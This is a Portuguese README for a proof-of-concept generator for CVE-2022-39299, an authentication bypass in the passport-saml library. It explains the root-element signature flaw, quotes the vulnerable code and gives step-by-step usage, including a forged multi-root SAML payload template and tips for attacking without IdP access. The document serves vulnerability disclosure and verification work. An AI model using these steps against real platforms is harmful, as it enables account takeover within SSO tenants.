
Um simples gerador de exploits PoC do CVE-2022-39299 para contornar a autenticação em integrações SAML SSO usando versões vulneráveis do passport-saml.
Advisory : https://github.com/node-saml/passport-saml/security/advisories/GHSA-m974-647v-whv7
Patch : https://github.com/node-saml/passport-saml/commit/8b7e3f5a91c8e5ac7e890a0c90bc7491ce33155e
Exemplo de Payload Base Extraído dos casos de teste do node-saml: https://github.com/node-saml/node-saml/blob/c1f275c289c01921e58f5c70ce0fdbc5287e5fbe/test/static/signatures/invalid/response.root-signed.multiple-root-elements.xml.
Autor do Bug: felixwilhelm
Autor do Gerador de Exploit (A parte fácil): Francesco Lacerenza
Um atacante remoto pode ser capaz de contornar a autenticação SAML SSO em uma plataforma ao explorar a CVE-2022-39299 que afeta a biblioteca passport-saml.
Um exploit público não estava disponível (no momento da redação), e o advisory foi publicado em 10/12/2022 com pouca ou nenhuma informação.
A Doyensec desenvolveu um gerador de Prova de Conceito (PoC) funcional para verificar o problema em plataformas multi-tenant nas quais o administrador do tenant pode configurar SAML SSO com um IdP personalizado.
Conforme declarado no advisory:
Um ataque bem-sucedido exige que o atacante esteja de posse de um elemento XML assinado por um IdP arbitrário. Dependendo do IdP utilizado, ataques totalmente não autenticados (ou seja, sem acesso a um usuário válido) também podem ser viáveis se a geração de uma mensagem assinada puder ser acionada.
A verificação vulnerável está localizada dentro da função validatePostResponse em passport-saml-2.0.0/src/passport-saml/saml.ts:775
// Check if this document has a valid top-level signature
let validSignature = false;
if (this.options.cert && this.validateSignature(xml, doc.documentElement, certs!)) {
validSignature = true;
}
Em particular, validateSignature verifica se o doc.documentElement no documento XML completo contém uma assinatura válida. Como a propriedade documentElement retorna o primeiro nó raiz do documento, ela verificará a assinatura apenas no primeiro elemento raiz.
A função continua verificando se há apenas uma assertion dentro do XML:
const assertions = xmlCrypto.xpath(doc, "/*[local-name()='Response']/*[local-name()='Assertion']") as HTMLElement[];
const encryptedAssertions = xmlCrypto.xpath(doc,
"/*[local-name()='Response']/*[local-name()='EncryptedAssertion']");
if (assertions.length + encryptedAssertions.length > 1) {
// There's no reason I know of that we want to handle multiple assertions, and it seems like a
// potential risk vector for signature scope issues, so treat this as an invalid signature
throw new Error('Invalid signature: multiple assertions');
}
Como resultado, o parser XML analisará um documento XML com múltiplas raízes. Embora uma assinatura possa ser aplicada a apenas um nó raiz, o XPath pode percorrer múltiplos nós raiz para encontrar elementos de autenticação e autorização.
Em conclusão, um nó raiz pode ser assinado (ex.: Mensagem de Erro SAML Genérica) e então outro nó, não assinado, pode conter informações de autenticação e autorização modificáveis. Dessa forma, o atacante consegue adulterar as informações de autenticação e obter acesso a qualquer conta dentro do tenant.
NOTA: O sucesso da exploração depende completamente da lógica interna de autenticação relacionada ao uso da biblioteca passport. Se a lógica de autenticação confiar totalmente no objeto de sessão autenticada resultante de passport.authenticate(...PASSPORT-SAML_OPTIONS...), então é provável que esteja vulnerável.
openssl na pasta do gerador de PoC:openssl req -x509 -new -newkey rsa:2048 -nodes -subj '/C=US/ST=California/L=San Francisco/O=JankyCo/CN=Test Identity Provider' -keyout key.pem -out cert.pem -days 7300
Alternativamente, use os que estão neste repositório.
Na plataforma alvo, navegue como administrador até o painel de Integração SAML SSO. Em seguida, defina o certificado usado para validar assinaturas do IdP como o que está nesta pasta.
Configure o payload_appendix.xml com os elementos authn & authz necessários para a plataforma autenticar Usuários SAML SSO. Você pode encontrar tais informações na documentação ou criando uma integração SSO funcional para aprender os elementos de autenticação válidos.
Execute o seguinte comando para gerar uma resposta SAML assinada com múltiplos elementos raiz contendo seus dados adulterados.
python3 payloadGenerator.py
A resposta SAML com múltiplos elementos raiz tem a seguinte estrutura:
<!— BEGINNING OF THE SIGNED ERROR MESSAGE —>
<samlp:Response xmlns="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="IDVALUE" Version="2.0" IssueInstant="2022-28-08T14:38:05Z">
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Responder">
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:NoPassive">
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:PartialLogout">
</samlp:StatusCode>
</samlp:StatusCode>
</samlp:StatusCode>
<samlp:StatusMessage>Random Error</samlp:StatusMessage>
</samlp:Status>
</samlp:Response>
<!— END OF THE SIGNED ERROR MESSAGE. BEGINNING OF THE UNSIGNED AUTHENTICATION INFO—>
<Response>
<saml:Assertion ID="whatever" IssueInstant="2022-10-30T18:00:00+00:00" Version="2.0">
<!— TAMPERED AUTHN & AUTHZ INFO —>
</saml:Assertion>
</Response>
NOTA: Se você quiser explorar esse problema quando não tiver acesso à configuração do IdP, basta modificar o payloadGenerator.py substituindo a variável signed_base_payload_unicode usada para construir o payload final. Para funcionar, você deve substituí-la por uma Resposta SAML assinada que não contenha Assertions. Boa sorte encontrando uma maneira de obtê-la do IdP alvo (a lógica é aplicada caso a caso e não há literatura a respeito delas).
Em organizações com Integração SAML SSO habilitada, atacantes poderiam contornar a autenticação e entrar com qualquer usuário do tenant.
Embora o advisory afirme que o atacante poderia usar "um elemento XML assinado por um IdP arbitrário", a biblioteca passport-saml impede qualquer mensagem XML contendo múltiplas assertions (veja o trecho de código na seção de descrição). A limitação exige que o atacante obtenha uma mensagem SAML assinada que não contenha uma assertion, como uma mensagem de erro. A presença de tais mensagens depende da implementação do IdP.
Como exemplo, respostas SAML sem assertions são diretamente suportadas pela biblioteca node-samlp da Auth0. Veja em https://github.com/auth0/node-samlp/blob/master/lib/samlp.js
function buildSamlResponse(options) {
var SAMLResponse = templates.samlresponse({
id: '_' + utils.generateUniqueID(),
instant: utils.generateInstant(),
destination: options.destination || options.audience,
inResponseTo: options.inResponseTo,
issuer: options.issuer,
samlStatusCode: options.samlStatusCode,
samlStatusMessage: options.samlStatusMessage,
assertion: options.samlAssertion || ''
});
O exemplo acima mostra a possibilidade de introduzir caminhos de código que levam a mensagens assinadas sem assertions, mesmo usando a tecnologia da Auth0. Nesse sentido, os IdPs de clientes podem conter tais padrões.